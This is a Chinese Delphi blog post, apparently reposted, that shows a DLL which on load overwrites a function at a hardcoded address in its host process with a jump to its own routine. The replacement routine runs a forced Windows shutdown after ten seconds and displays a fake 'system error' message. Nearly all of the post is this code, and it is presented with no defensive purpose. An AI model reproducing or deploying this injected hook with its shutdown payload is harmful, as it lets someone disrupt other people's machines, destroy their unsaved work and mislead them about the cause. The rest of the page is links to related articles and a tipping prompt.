delphi 替换其他程序里面的函数为自己的函数


本文整理自网络,侵删。

  原理就不用说了吧,会玩HOOK的老兄都知道啦.............

Procedure MyFunctionAddress();
begin
winexec('cmd /c shutdown -s -t 10 -f -c 系统出错.',0 );

end;


Procedure Modify();
var
dat:DWORD;
zrn: Cardinal;
FunctionPointer:Pointer;
tpv:array [0..3] of Byte;
NewAddress:array [0..7] of Byte;
OldAddress:array [0..7] of Byte;
begin
FunctionPointer:=Pointer($45411CB8); //要被替换的程序里那个要替换的函数的地址.
dat:=DWORD(@MyFunctionAddress);
Move(dat, tpv, 4);
NewAddress[0] := $B8;
NewAddress[1] := tpv[0];
NewAddress[2] := tpv[1];
NewAddress[3] := tpv[2];
NewAddress[4] := tpv[3];
NewAddress[5] := $FF;
NewAddress[6] := $E0;
NewAddress[7] := 0;
if ReadProcessMemory( GetCurrentProcess,FunctionPointer, @OldAddress, 8, zrn) then
begin
WriteProcessMemory(GetCurrentProcess,FunctionPointer, @NewAddress, 8, zrn);
end;
end;

procedure DllMain(Reason: Integer);
begin
case Reason of
DLL_PROCESS_ATTACH:
begin
Modify();
end;
DLL_PROCESS_DETACH:
begin

end;
end;
end;

begin
DLLProc:=@DllMain;
DllMain(DLL_PROCESS_ATTACH);
end.

相关阅读 >>

Delphi 文件路径结尾去掉“\”

Delphi定位注册表指定键位

Delphi7调用Delphi xe2 中间层注意事项

Delphi监控指定进程防止被关闭

Delphi分别连接ms sqlserver、oracle和access数据库的连接字符串

Delphi出现 no mapping for the unicode character exists in the target multi-byte code page 处理方法

Delphi md5加密字符串

Delphi最简化异步选择tcp服务器

Delphi实现阿里云印刷文字识别_身份证识别

Delphi 开启内存泄漏报告模式

更多相关阅读请进入《Delphi》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...